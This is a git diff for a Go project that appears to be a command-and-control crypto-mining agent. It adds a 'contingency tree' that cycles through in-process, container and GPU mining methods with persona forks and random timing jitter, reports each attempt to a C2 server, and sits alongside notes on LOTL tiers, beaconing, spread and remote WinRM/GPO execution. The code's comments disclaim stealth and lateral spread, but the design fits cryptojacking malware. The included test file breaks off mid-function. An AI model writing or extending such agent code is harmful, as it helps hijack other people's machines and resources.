diff --git a/PROBLEMS.md b/PROBLEMS.md index 4fe307b..2139dfb 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -69,6 +69,7 @@ Automatable gaps are closed; remaining items below are by-design limits, archite | Item | Notes | |------|-------| | **Erasure-coded multi-lane propagation** | **Partial foundation** — server `internal/erasure/` RS 4+2 + shard API; deploy plans attach `erasure_plan` when Calibrate `server.erasure_lanes_enabled`; agent `deploy/erasure_staging.go` reassembles from parallel lane URLs as fallback when primary staging fails. **Fleet Torrent (partial):** `fleet_torrent_enabled` adds shard DHT gossip, primary seeder election, BGP swarm magnets, and C2 torrent manifest — **not shipped:** live peer HTTP shard serving on agents, UDP/magnet tracker, or erasure-first spread E2E. | +| **Onion contingency miner (partial)** | **Partial** — when `ai_control_enabled`, auth pushes `contingency_policy`; agent `ContingencyTreeRunner` walks `inprocess`→`container`→`gpu_subprocess`→`idle_tune`→`self_surgery` with local persona ghost forks (no lateral spread); each hop ships `onion_miner_log` WS + Seer; server `ContingencyOrchestrator` freezes winners and pushes `contingency_branch_params` from graft **mining** genome (not spread tiers) on exhaustion; hospice retires strain after 12 cycles; operator `pause` stops tree. Crucible **ONION N** badge. **Not shipped:** live LLM court invoke on every exhaust tick (deterministic compose today). | | **P2 remaining (manual only)** | Live Docker/Podman container start on operator host; real WinRM/GPO/systemd/crontab on remote owned hosts; live BITS/curl against non-mock C2; live multi-hop discover→spread without Playwright stub; live TLS/mesh beacon; full `wg_setup` on real Windows hosts. | ## Do not commit diff --git a/agent/client/client.go b/agent/client/client.go index f2ec97a..36627d5 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -60,6 +60,8 @@ type AgentClient struct { hostMiningDisabled atomic.Bool // miningChain orchestrates container → in-process → GPU → Stratum cascade. miningChain *MiningChainRunner + // contingency runs the autonomous onion contingency tree when server policy enables it. + contingency *ContingencyRunner // tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update). tierPolicy miner.MiningTierPolicy // adaptiveStrategy holds server reasoning trace for diagnostics/UI. @@ -106,6 +108,8 @@ type AgentClient struct { beaconMode atomic.Bool // wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth. wsDownSince atomic.Value // stores time.Time + // miningCtx is the lifetime context for mining/contingency goroutines. + miningCtx context.Context } func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { @@ -141,6 +145,7 @@ func (c *AgentClient) Run() error { chainCtx, chainCancel := context.WithCancel(context.Background()) defer chainCancel() + c.miningCtx = chainCtx c.miningChain = c.newMiningChainRunner() if isSeeder { deploy.StartSeederStaging(c.cfg) @@ -422,6 +427,7 @@ func (c *AgentClient) authenticate() error { return fmt.Errorf("auth failed: %s", resp.Error) } c.applyAuthLotlPolicy(resp) + c.startContingencyIfEnabled(c.miningCtx) c.applyAuthFleetRole(resp) deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip) if resp.FleetTorrentEnabled { @@ -545,6 +551,11 @@ func (c *AgentClient) handleMessage(msg Message) { go c.applyPolicyUpdate(msg.Payload) case "graft_policy": c.applyGraftPolicyJSON(msg.Payload) + case "contingency_branch_params": + c.applyContingencyBranchParamsJSON(msg.Payload) + if c.contingency != nil && c.miningCtx != nil { + c.contingency.Resume(c.miningCtx) + } case "adaptive_strategy_update": c.applyAdaptiveStrategyJSON(msg.Payload) case "ai_snapshot_request": @@ -614,6 +625,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, wslRT := miner.WSLDetector() _ = miner.ToggleWSLMining(wslRT, "", false) } + if c.contingency != nil { + c.contingency.Stop() + } if c.miningChain != nil { c.miningChain.Stop() } else { @@ -630,6 +644,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, } c.sendCommandResult(action, true, "mining paused") case "resume": + if c.contingency != nil && c.miningCtx != nil { + c.contingency.Resume(c.miningCtx) + } if c.miningChain != nil { c.miningChain.Resume(context.Background()) } else { @@ -1227,6 +1244,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.StratumEgress = c.stratumEgress(false) } stats.MiningHashrate = avg15s + stats.GPUHashrate15s + if depth := c.contingencyDepthForStats(); depth > 0 { + stats.ContingencyDepth = depth + } deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted) if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 { stats.AtlasSkips = atlasSkips diff --git a/agent/client/contingency_runner.go b/agent/client/contingency_runner.go new file mode 100644 index 0000000..51f5f94 --- /dev/null +++ b/agent/client/contingency_runner.go @@ -0,0 +1,262 @@ +package client + +import ( + "context" + "encoding/json" + "log" + "sync" + + "crypto-miner-agent/miner" +) + +// ContingencyRunner wires the onion contingency tree into AgentClient mining. +type ContingencyRunner struct { + client *AgentClient + runner *miner.ContingencyTreeRunner + gate *miner.PoolGate + mu sync.Mutex + cancel context.CancelFunc + enabled bool +} + +func (c *AgentClient) newContingencyRunner() *ContingencyRunner { + cr := &ContingencyRunner{client: c, gate: miner.NewPoolGate()} + return cr +} + +func (c *AgentClient) applyContingencyPolicyJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var p miner.ContingencyPolicy + if err := json.Unmarshal(raw, &p); err != nil { + return + } + p = miner.NormalizeContingencyPolicy(p) + c.mu.Lock() + if c.contingency == nil { + c.contingency = c.newContingencyRunner() + } + c.contingency.enabled = p.Enabled + c.mu.Unlock() + if p.Enabled { + c.contingency.rebuildRunner(p) + log.Printf("[contingency] policy enabled personas=%v hospice_after=%d", p.Personas, p.HospiceAfter) + } +} + +func (c *AgentClient) applyContingencyBranchParamsJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var p miner.ContingencyBranchParams + if err := json.Unmarshal(raw, &p); err != nil { + return + } + c.mu.Lock() + cr := c.contingency + c.mu.Unlock() + if cr == nil || cr.runner == nil { + return + } + cr.runner.ApplyBranchParams(p) + log.Printf("[contingency] branch params applied: %s", p.Reason) +} + +func (cr *ContingencyRunner) rebuildRunner(policy miner.ContingencyPolicy) { + c := cr.client + hooks := miner.BranchAttemptHooks{ + StartInProcess: func() error { + if c.miningChain == nil { + return miner.ErrMethodUnavailable + } + return c.miningChain.startInProcess() + }, + StartContainer: func() error { + if c.miningChain == nil { + return miner.ErrMethodUnavailable + } + return c.miningChain.startContainer() + }, + StartGPU: func() error { + if c.miningChain == nil { + return miner.ErrMethodUnavailable + } + return c.miningChain.startGPU() + }, + ApplyIdleTune: cr.applyIdleTune, + ApplySurgery: cr.applySelfSurgery, + StopAll: func() { + if c.miningChain != nil { + c.miningChain.StopBranchAttempt() + } + }, + Hashrate: cr.snapshotHashrate, + PoolActive: cr.gate.Active, + AcquirePool: func() bool { + return cr.gate.Acquire("canonical") + }, + ReleasePool: func() { + cr.gate.Release("canonical") + }, + } + cr.runner = miner.NewContingencyTreeRunner(policy, hooks, cr.reportHop) +} + +func (cr *ContingencyRunner) applyIdleTune() error { + // Brief host pause — contingency discipline backoff, not stealth. + cr.client.pool.PauseRemote() + cr.client.hostMiningDisabled.Store(true) + return nil +} + +func (cr *ContingencyRunner) applySelfSurgery(skip []string, force string) error { + c := cr.client + policy := c.miningTierPolicy() + for _, s := range skip { + tier := miner.LOTLTier(s) + if tier == "" { + continue + } + policy.SkipTiers = append(policy.SkipTiers, tier) + } + if force != "" { + policy.ForceTier = miner.LOTLTier(force) + } + c.mu.Lock() + c.tierPolicy = policy + c.mu.Unlock() + if c.miningChain != nil { + c.miningChain.Restart(context.Background()) + } + return nil +} + +func (cr *ContingencyRunner) snapshotHashrate() float64 { + c := cr.client + if c.miningChain != nil { + st := c.miningChain.Status() + if st.ActiveMethod != "" { + if hr := cr.latestMiningHashrate(); hr > 0 { + return hr + } + } + } + return cr.latestMiningHashrate() +} + +func (cr *ContingencyRunner) latestMiningHashrate() float64 { + c := cr.client + if c.containerMiner != nil { + if ch := c.containerMiner.ProbeHashrate(); ch > 0 { + return ch + } + } + if c.pool != nil { + return c.pool.HashesPerSecond() + } + return 0 +} + +func (cr *ContingencyRunner) reportHop(hop miner.OnionMinerHop, depth int, exhausted bool) { + c := cr.client + payload, err := json.Marshal(struct { + miner.OnionMinerHop + Depth int `json:"contingency_depth"` + Exhausted bool `json:"exhausted,omitempty"` + Hops int `json:"hop_count"` + }{ + OnionMinerHop: hop, + Depth: depth, + Exhausted: exhausted, + Hops: depth, + }) + if err != nil { + return + } + _ = c.write(Message{Type: "onion_miner_log", Payload: payload}) +} + +// Start launches the contingency tree when policy is enabled. +func (cr *ContingencyRunner) Start(ctx context.Context) { + cr.mu.Lock() + if !cr.enabled || cr.runner == nil { + cr.mu.Unlock() + return + } + if cr.cancel != nil { + cr.mu.Unlock() + return + } + runCtx, cancel := context.WithCancel(ctx) + cr.cancel = cancel + runner := cr.runner + cr.mu.Unlock() + go runner.Run(runCtx) +} + +// Stop halts the contingency tree (operator pause). +func (cr *ContingencyRunner) Stop() { + cr.mu.Lock() + if cr.cancel != nil { + cr.cancel() + cr.cancel = nil + } + if cr.runner != nil { + cr.runner.SetOperatorPaused(true) + } + cr.mu.Unlock() +} + +// Resume clears operator pause and restarts the tree. +func (cr *ContingencyRunner) Resume(ctx context.Context) { + cr.mu.Lock() + if cr.runner != nil { + cr.runner.SetOperatorPaused(false) + } + if cr.cancel != nil { + cr.cancel() + cr.cancel = nil + } + enabled := cr.enabled + runner := cr.runner + cr.mu.Unlock() + if enabled && runner != nil { + runCtx, cancel := context.WithCancel(ctx) + cr.mu.Lock() + cr.cancel = cancel + cr.mu.Unlock() + go runner.Run(runCtx) + } +} + +// Depth returns current onion hop count for stats. +func (cr *ContingencyRunner) Depth() int { + cr.mu.Lock() + runner := cr.runner + cr.mu.Unlock() + if runner == nil { + return 0 + } + return runner.Depth() +} + +func (c *AgentClient) startContingencyIfEnabled(ctx context.Context) { + c.mu.Lock() + cr := c.contingency + c.mu.Unlock() + if cr == nil || !cr.enabled || cr.runner == nil { + return + } + cr.Start(ctx) +} + +func (c *AgentClient) contingencyDepthForStats() int { + c.mu.Lock() + cr := c.contingency + c.mu.Unlock() + if cr == nil { + return 0 + } + return cr.Depth() +} diff --git a/agent/client/contingency_runner_test.go b/agent/client/contingency_runner_test.go new file mode 100644 index 0000000..57e3258 --- /dev/null +++ b/agent/client/contingency_runner_test.go @@ -0,0 +1,46 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/miner" +) + +func TestApplyContingencyPolicyEnablesRunner(t *testing.T) { + c := &AgentClient{} + raw, _ := json.Marshal(miner.ContingencyPolicy{ + Enabled: true, + Personas: []string{"silent", "aggressive"}, + }) + c.applyContingencyPolicyJSON(raw) + if c.contingency == nil || !c.contingency.enabled { + t.Fatal("expected contingency enabled") + } + if c.contingency.runner == nil { + t.Fatal("expected runner built") + } +} + +func TestApplyContingencyBranchParams(t *testing.T) { + c := &AgentClient{} + raw, _ := json.Marshal(miner.ContingencyPolicy{Enabled: true}) + c.applyContingencyPolicyJSON(raw) + params, _ := json.Marshal(miner.ContingencyBranchParams{ + BranchOrder: []string{"container", "inprocess"}, + Persona: "aggressive", + SkipMethods: []string{"gpu_subprocess"}, + Reason: "court branch splice", + }) + c.applyContingencyBranchParamsJSON(params) + if c.contingency == nil || c.contingency.runner == nil { + t.Fatal("expected runner after branch params") + } +} + +func TestContingencyDepthForStats(t *testing.T) { + c := &AgentClient{} + if c.contingencyDepthForStats() != 0 { + t.Fatal("expected 0 depth") + } +} diff --git a/agent/miner/contingency_tree.go b/agent/miner/contingency_tree.go new file mode 100644 index 0000000..07de4b0 --- /dev/null +++ b/agent/miner/contingency_tree.go @@ -0,0 +1,652 @@ +package miner + +import ( + "context" + "crypto/rand" + "encoding/binary" + "errors" + "math" + "sync" + "time" +) + +// Contingency branch identifiers — honest telemetry labels for operator Seer feed. +type ContingencyBranch string + +const ( + BranchInProcess ContingencyBranch = "inprocess" + BranchContainer ContingencyBranch = "container" + BranchGPUSubprocess ContingencyBranch = "gpu_subprocess" + BranchIdleTune ContingencyBranch = "idle_tune" + BranchSelfSurgery ContingencyBranch = "self_surgery" +) + +// DefaultContingencyBranchOrder is the canonical single-host contingency walk. +var DefaultContingencyBranchOrder = []ContingencyBranch{ + BranchInProcess, + BranchContainer, + BranchGPUSubprocess, + BranchIdleTune, + BranchSelfSurgery, +} + +// OnionMinerHop is one layer in the contingency onion log shipped to C2. +type OnionMinerHop struct { + HopIndex int `json:"hop_index"` + BranchID string `json:"branch_id"` + Persona string `json:"persona,omitempty"` + Method string `json:"method"` + Outcome string `json:"outcome"` + Hashrate float64 `json:"hashrate"` + IsGhost bool `json:"is_ghost,omitempty"` + Timestamp string `json:"ts"` + Detail string `json:"detail,omitempty"` +} + +// ContingencyPolicy is server-pulled discipline for the local contingency tree. +type ContingencyPolicy struct { + Enabled bool `json:"enabled"` + BranchOrder []string `json:"branch_order,omitempty"` + Personas []string `json:"personas,omitempty"` + HospiceAfter int `json:"hospice_after,omitempty"` + JitterMs int `json:"jitter_ms,omitempty"` + RotatePaths bool `json:"rotate_paths,omitempty"` +} + +// ContingencyBranchParams is a server push after exhaustion or court verdict. +type ContingencyBranchParams struct { + BranchOrder []string `json:"branch_order,omitempty"` + Persona string `json:"persona,omitempty"` + SkipMethods []string `json:"skip_methods,omitempty"` + ForceMethod string `json:"force_method,omitempty"` + Reason string `json:"reason,omitempty"` +} + +// BranchAttemptHooks wire agent-specific start/stop without importing client. +type BranchAttemptHooks struct { + StartInProcess func() error + StartContainer func() error + StartGPU func() error + ApplyIdleTune func() error + ApplySurgery func(skip []string, force string) error + StopAll func() + Hashrate func() float64 + PoolActive func() bool + AcquirePool func() bool + ReleasePool func() +} + +// OnionLogReporter ships onion_miner_log frames to C2. +type OnionLogReporter func(hop OnionMinerHop, depth int, exhausted bool) + +// ContingencyTreeRunner executes the ordered contingency tree with optional ghost personas. +type ContingencyTreeRunner struct { + mu sync.Mutex + policy ContingencyPolicy + branchOrder []ContingencyBranch + personas []string + hooks BranchAttemptHooks + report OnionLogReporter + hops []OnionMinerHop + hopIndex int + frozenWinner string + frozenMethod ContingencyBranch + exhaustCycles int + hospiceRetired bool + operatorPaused bool + skipMethods map[string]bool + forceMethod ContingencyBranch + pendingParams *ContingencyBranchParams +} + +// NewContingencyTreeRunner builds a runner from server policy and hooks. +func NewContingencyTreeRunner(policy ContingencyPolicy, hooks BranchAttemptHooks, report OnionLogReporter) *ContingencyTreeRunner { + r := &ContingencyTreeRunner{ + policy: NormalizeContingencyPolicy(policy), + hooks: hooks, + report: report, + skipMethods: make(map[string]bool), + } + r.branchOrder = r.policyBranchOrder() + r.personas = append([]string(nil), r.policy.Personas...) + return r +} + +// NormalizeContingencyPolicy fills defaults for zero-config server pull. +func NormalizeContingencyPolicy(p ContingencyPolicy) ContingencyPolicy { + if len(p.BranchOrder) == 0 { + p.BranchOrder = branchesToStrings(DefaultContingencyBranchOrder) + } + if len(p.Personas) == 0 { + p.Personas = []string{"balanced", "silent", "aggressive"} + } + if p.HospiceAfter <= 0 { + p.HospiceAfter = 12 + } + if p.JitterMs <= 0 { + p.JitterMs = 750 + } + return p +} + +func branchesToStrings(in []ContingencyBranch) []string { + out := make([]string, len(in)) + for i, b := range in { + out[i] = string(b) + } + return out +} + +func (r *ContingencyTreeRunner) policyBranchOrder() []ContingencyBranch { + raw := r.policy.BranchOrder + if len(raw) == 0 { + return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...) + } + out := make([]ContingencyBranch, 0, len(raw)) + for _, s := range raw { + b := ContingencyBranch(s) + if b == "" { + continue + } + out = append(out, b) + } + if len(out) == 0 { + return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...) + } + return out +} + +// Depth returns the number of onion hops logged this strain cycle. +func (r *ContingencyTreeRunner) Depth() int { + r.mu.Lock() + defer r.mu.Unlock() + return len(r.hops) +} + +// Frozen returns whether a winning branch is frozen. +func (r *ContingencyTreeRunner) Frozen() (method ContingencyBranch, ok bool) { + r.mu.Lock() + defer r.mu.Unlock() + if r.frozenMethod == "" { + return "", false + } + return r.frozenMethod, true +} + +// Hops returns a copy of the onion log. +func (r *ContingencyTreeRunner) Hops() []OnionMinerHop { + r.mu.Lock() + defer r.mu.Unlock() + out := make([]OnionMinerHop, len(r.hops)) + copy(out, r.hops) + return out +} + +// SetOperatorPaused stops the tree until cleared (operator pause command). +func (r *ContingencyTreeRunner) SetOperatorPaused(paused bool) { + r.mu.Lock() + r.operatorPaused = paused + r.mu.Unlock() +} + +// ApplyBranchParams merges a server/court push and clears exhaustion hospice counter. +func (r *ContingencyTreeRunner) ApplyBranchParams(p ContingencyBranchParams) { + r.mu.Lock() + defer r.mu.Unlock() + if len(p.BranchOrder) > 0 { + r.branchOrder = parseBranchOrder(p.BranchOrder) + } + if p.Persona != "" { + r.personas = []string{p.Persona} + } + r.skipMethods = make(map[string]bool) + for _, s := range p.SkipMethods { + r.skipMethods[s] = true + } + if p.ForceMethod != "" { + r.forceMethod = ContingencyBranch(p.ForceMethod) + } + r.pendingParams = nil + r.exhaustCycles = 0 +} + +func parseBranchOrder(raw []string) []ContingencyBranch { + out := make([]ContingencyBranch, 0, len(raw)) + for _, s := range raw { + if b := ContingencyBranch(s); b != "" { + out = append(out, b) + } + } + if len(out) == 0 { + return append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...) + } + return out +} + +// MutateBranchOrderForPersona applies contingency discipline — honest label in Seer detail. +func MutateBranchOrderForPersona(base []ContingencyBranch, persona string, rotate bool) []ContingencyBranch { + order := append([]ContingencyBranch(nil), base...) + switch persona { + case "aggressive": + order = promoteBranch(order, BranchGPUSubprocess) + order = promoteBranch(order, BranchInProcess) + case "silent": + order = promoteBranch(order, BranchContainer) + order = demoteBranch(order, BranchGPUSubprocess) + case "passive": + order = promoteBranch(order, BranchIdleTune) + case "persuasive": + order = promoteBranch(order, BranchContainer) + order = promoteBranch(order, BranchSelfSurgery) + } + if rotate { + order = rotateBranchOrder(order, personaRotationSeed(persona)) + } + return order +} + +func promoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch { + idx := -1 + for i, b := range order { + if b == target { + idx = i + break + } + } + if idx <= 0 { + return order + } + out := append([]ContingencyBranch{target}, order[:idx]...) + out = append(out, order[idx+1:]...) + return out +} + +func demoteBranch(order []ContingencyBranch, target ContingencyBranch) []ContingencyBranch { + idx := -1 + for i, b := range order { + if b == target { + idx = i + break + } + } + if idx < 0 || idx == len(order)-1 { + return order + } + out := append([]ContingencyBranch(nil), order[:idx]...) + out = append(out, order[idx+1:]...) + out = append(out, target) + return out +} + +func rotateBranchOrder(order []ContingencyBranch, seed uint32) []ContingencyBranch { + if len(order) < 2 { + return order + } + shift := int(seed % uint32(len(order))) + out := append([]ContingencyBranch(nil), order[shift:]...) + out = append(out, order[:shift]...) + return out +} + +func personaRotationSeed(persona string) uint32 { + var h uint32 + for i := 0; i < len(persona); i++ { + h = h*31 + uint32(persona[i]) + } + return h +} + +// Run executes the contingency tree until win, hospice, or operator pause. +func (r *ContingencyTreeRunner) Run(ctx context.Context) { + for { + select { + case <-ctx.Done(): + return + default: + } + r.mu.Lock() + if r.operatorPaused || r.hospiceRetired { + r.mu.Unlock() + return + } + if r.frozenMethod != "" { + r.mu.Unlock() + return + } + r.mu.Unlock() + + if r.runPass(ctx) { + return + } + r.mu.Lock() + r.exhaustCycles++ + exhausted := r.exhaustCycles >= r.policy.HospiceAfter + if exhausted { + r.hospiceRetired = true + } + cycles := r.exhaustCycles + r.mu.Unlock() + + r.emitHop(OnionMinerHop{ + Method: "contingency_tree", + Outcome: "exhausted", + Detail: "full branch pass exhausted — awaiting court/AI branch params or hospice", + }, cycles, true) + + if exhausted { + r.emitHop(OnionMinerHop{ + Method: "hospice", + Outcome: "strain_retired", + Detail: "contingency discipline: strain retired after max exhaustion cycles", + }, cycles, true) + return + } + + select { + case <-ctx.Done(): + return + case <-time.After(r.jitterDuration()): + } + } +} + +func (r *ContingencyTreeRunner) runPass(ctx context.Context) bool { + r.mu.Lock() + baseOrder := append([]ContingencyBranch(nil), r.branchOrder...) + personas := append([]string(nil), r.personas...) + force := r.forceMethod + skips := make(map[string]bool, len(r.skipMethods)) + for k, v := range r.skipMethods { + skips[k] = v + } + r.mu.Unlock() + + if force != "" { + return r.tryBranch(ctx, force, "canonical", "", false) + } + + type ghostResult struct { + won bool + method ContingencyBranch + } + results := make(chan ghostResult, len(personas)+1) + + // Canonical branch walk (holds pool). + go func() { + for _, branch := range baseOrder { + if skips[string(branch)] { + continue + } + if r.tryBranch(ctx, branch, "canonical", "", false) { + results <- ghostResult{won: true, method: branch} + return + } + } + results <- ghostResult{} + }() + + // Ghost persona probes — no double pool. + for _, persona := range personas { + persona := persona + order := MutateBranchOrderForPersona(baseOrder, persona, r.policy.RotatePaths) + go func() { + for _, branch := range order { + if skips[string(branch)] { + continue + } + if r.tryBranch(ctx, branch, persona, persona, true) { + results <- ghostResult{won: true, method: branch} + return + } + } + results <- ghostResult{} + }() + } + + won := false + for i := 0; i < len(personas)+1; i++ { + select { + case <-ctx.Done(): + return true + case res := <-results: + if res.won { + won = true + } + } + } + return won +} + +func (r *ContingencyTreeRunner) tryBranch(ctx context.Context, branch ContingencyBranch, branchID, persona string, ghost bool) bool { + select { + case <-ctx.Done(): + return false + default: + } + + if ghost { + if r.hooks.PoolActive != nil && r.hooks.PoolActive() { + r.emitHop(OnionMinerHop{ + BranchID: branchID, + Persona: persona, + Method: string(branch), + Outcome: "ghost_skipped", + IsGhost: true, + Detail: "contingency discipline: ghost deferred — canonical holds pool", + }, r.Depth(), false) + return false + } + } else if r.hooks.AcquirePool != nil && !r.hooks.AcquirePool() { + return false + } + + r.jitterWait(ctx) + + hrBefore := r.snapshotHashrate() + r.emitHop(OnionMinerHop{ + BranchID: branchID, + Persona: persona, + Method: string(branch), + Outcome: "trying", + Hashrate: hrBefore, + IsGhost: ghost, + Detail: r.branchDetail(branch, ghost), + }, r.Depth(), false) + + err := r.executeBranch(branch) + hrAfter := r.snapshotHashrate() + won := err == nil && hrAfter > 0 + + outcome := "lost" + if won { + outcome = "won" + if ghost { + outcome = "ghost_won" + } + } else if ghost { + outcome = "ghost_lost" + } + + detail := "" + if err != nil { + detail = err.Error() + } + + r.emitHop(OnionMinerHop{ + BranchID: branchID, + Persona: persona, + Method: string(branch), + Outcome: outcome, + Hashrate: hrAfter, + IsGhost: ghost, + Detail: detail, + }, r.Depth(), false) + + if !ghost && r.hooks.ReleasePool != nil { + r.hooks.ReleasePool() + } + + if won && !ghost { + r.mu.Lock() + r.frozenWinner = branchID + r.frozenMethod = branch + r.mu.Unlock() + return true + } + if won && ghost { + // Ghost win promotes method but canonical must acquire pool on next pass. + r.mu.Lock() + r.forceMethod = branch + r.mu.Unlock() + return true + } + + if !ghost && r.hooks.StopAll != nil { + r.hooks.StopAll() + } + return false +} + +func (r *ContingencyTreeRunner) branchDetail(branch ContingencyBranch, ghost bool) string { + label := "contingency discipline" + if ghost { + label += " · local persona fork (no lateral spread)" + } + switch branch { + case BranchIdleTune: + return label + " · idle_tune: thread/throttle backoff before retry" + case BranchSelfSurgery: + return label + " · self_surgery: epidemiology skip/force hooks" + default: + return label + " · rotate miner path with timing jitter" + } +} + +func (r *ContingencyTreeRunner) executeBranch(branch ContingencyBranch) error { + switch branch { + case BranchInProcess: + if r.hooks.StartInProcess == nil { + return ErrMethodUnavailable + } + return r.hooks.StartInProcess() + case BranchContainer: + if r.hooks.StartContainer == nil { + return ErrMethodUnavailable + } + return r.hooks.StartContainer() + case BranchGPUSubprocess: + if r.hooks.StartGPU == nil { + return ErrMethodUnavailable + } + return r.hooks.StartGPU() + case BranchIdleTune: + if r.hooks.ApplyIdleTune == nil { + return errors.New("idle_tune hook unavailable") + } + return r.hooks.ApplyIdleTune() + case BranchSelfSurgery: + if r.hooks.ApplySurgery == nil { + return errors.New("self_surgery hook unavailable") + } + r.mu.Lock() + skips := make([]string, 0, len(r.skipMethods)) + for s := range r.skipMethods { + skips = append(skips, s) + } + force := string(r.forceMethod) + r.mu.Unlock() + return r.hooks.ApplySurgery(skips, force) + default: + return ErrMethodUnavailable + } +} + +func (r *ContingencyTreeRunner) snapshotHashrate() float64 { + if r.hooks.Hashrate == nil { + return 0 + } + return r.hooks.Hashrate() +} + +func (r *ContingencyTreeRunner) jitterWait(ctx context.Context) { + d := r.jitterDuration() + if d <= 0 { + return + } + select { + case <-ctx.Done(): + case <-time.After(d): + } +} + +func (r *ContingencyTreeRunner) jitterDuration() time.Duration { + r.mu.Lock() + base := r.policy.JitterMs + r.mu.Unlock() + if base <= 0 { + return 0 + } + var buf [8]byte + _, _ = rand.Read(buf[:]) + n := binary.LittleEndian.Uint64(buf[:]) % uint64(base+1) + return time.Duration(base/2+int(n)) * time.Millisecond +} + +func (r *ContingencyTreeRunner) emitHop(hop OnionMinerHop, depth int, exhausted bool) { + r.mu.Lock() + r.hopIndex++ + hop.HopIndex = r.hopIndex + if hop.Timestamp == "" { + hop.Timestamp = time.Now().UTC().Format(time.RFC3339) + } + r.hops = append(r.hops, hop) + depth = len(r.hops) + report := r.report + r.mu.Unlock() + if report != nil { + report(hop, depth, exhausted) + } +} + +// PoolGate serializes pool activation across canonical and ghost branches. +type PoolGate struct { + mu sync.Mutex + held bool + holder string +} + +func NewPoolGate() *PoolGate { return &PoolGate{} } + +func (g *PoolGate) Active() bool { + g.mu.Lock() + defer g.mu.Unlock() + return g.held +} + +func (g *PoolGate) Acquire(id string) bool { + g.mu.Lock() + defer g.mu.Unlock() + if g.held && g.holder != id { + return false + } + g.held = true + g.holder = id + return true +} + +func (g *PoolGate) Release(id string) { + g.mu.Lock() + defer g.mu.Unlock() + if g.holder == id { + g.held = false + g.holder = "" + } +} + +// MinHashrateWin is the minimum H/s to treat a branch as linked. +const MinHashrateWin = 0.5 + +// BranchWon reports whether hashrate satisfies a win threshold. +func BranchWon(hashrate float64) bool { + return hashrate >= MinHashrateWin && !math.IsNaN(hashrate) +} diff --git a/agent/miner/contingency_tree_test.go b/agent/miner/contingency_tree_test.go new file mode 100644 index 0000000..df39712 --- /dev/null +++ b/agent/miner/contingency_tree_test.go @@ -0,0 +1,171 @@ +package miner + +import ( + "context" + "sync/atomic" + "testing" + "time" +) + +func TestDefaultContingencyBranchOrder(t *testing.T) { + want := []ContingencyBranch{BranchInProcess, BranchContainer, BranchGPUSubprocess, BranchIdleTune, BranchSelfSurgery} + if len(DefaultContingencyBranchOrder) != len(want) { + t.Fatalf("order=%v", DefaultContingencyBranchOrder) + } + for i := range want { + if DefaultContingencyBranchOrder[i] != want[i] { + t.Fatalf("idx %d = %q want %q", i, DefaultContingencyBranchOrder[i], want[i]) + } + } +} + +func TestMutateBranchOrderForPersona(t *testing.T) { + base := append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...) + agg := MutateBranchOrderForPersona(base, "aggressive", false) + if agg[0] != BranchGPUSubprocess && agg[0] != BranchInProcess { + t.Fatalf("aggressive should front gpu/inprocess, got %v", agg) + } + silent := MutateBranchOrderForPersona(base, "silent", false) + if silent[0] != BranchContainer { + t.Fatalf("silent should front container, got %v", silent) + } + rotated := MutateBranchOrderForPersona(base, "balanced", true) + if len(rotated) != len(base) { + t.Fatalf("rotate length=%d", len(rotated)) + } +} + +func TestContingencyTreeWinsOnInProcess(t *testing.T) { + var hr atomic.Value + hr.Store(1200.0) + var hops []OnionMinerHop + gate := NewPoolGate() + r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{ + StartInProcess: func() error { return nil }, + StartContainer: func() error { return ErrMethodUnavailable }, + StartGPU: func() error { return ErrMethodUnavailable }, + ApplyIdleTune: func() error { return nil }, + ApplySurgery: func([]string, string) error { return nil }, + StopAll: func() {}, + Hashrate: func() float64 { v, _ := hr.Load().(float64); return v }, + PoolActive: gate.Active, + AcquirePool: func() bool { return gate.Acquire("canonical") }, + ReleasePool: func() { gate.Release("canonical") }, + }, func(h OnionMinerHop, depth int, exhausted bool) { + hops = append(hops, h) + }) + + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second) + defer cancel() + go r.Run(ctx) + time.Sleep(200 * time.Millisecond) + cancel() + + method, ok := r.Frozen() + if !ok || method != BranchInProcess { + t.Fatalf("frozen=%q ok=%v hops=%d", method, ok, len(hops)) + } + won := false + for _, h := range hops { + if h.Outcome == "won" && h.Method == string(BranchInProcess) { + won = true + } + } + if !won { + t.Fatalf("expected won hop, got %v", hops) + } +} + +func TestGhostSkipsWhenPoolHeld(t *testing.T) { + gate := NewPoolGate() + gate.Acquire("canonical") + var ghostSkipped int + r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1, Personas: []string{"silent"}}, BranchAttemptHooks{ + StartInProcess: func() error { return nil }, + StartContainer: func() error { return nil }, + Hashrate: func() float64 { return 0 }, + PoolActive: gate.Active, + AcquirePool: func() bool { return gate.Acquire("canonical") }, + ReleasePool: func() { gate.Release("canonical") }, + }, func(h OnionMinerHop, _ int, _ bool) { + if h.Outcome == "ghost_skipped" { + ghostSkipped++ + } + }) + _ = r.tryBranch(context.Background(), BranchContainer, "silent", "silent", true) + if ghostSkipped != 1 { + t.Fatalf("ghost_skipped=%d", ghostSkipped) + } +} + +func TestHospiceRetiresAfterExhaustCycles(t *testing.T) { + var retired bool + policy := ContingencyPolicy{Enabled: true, JitterMs: 1, HospiceAfter: 2} + r := NewContingencyTreeRunner(policy, BranchAttemptHooks{ + StartInProcess: func() error { return ErrMethodUnavailable }, + StartContainer: func() error { return ErrMethodUnavailable }, + StartGPU: func() error { return ErrMethodUnavailable }, + ApplyIdleTune: func() error { 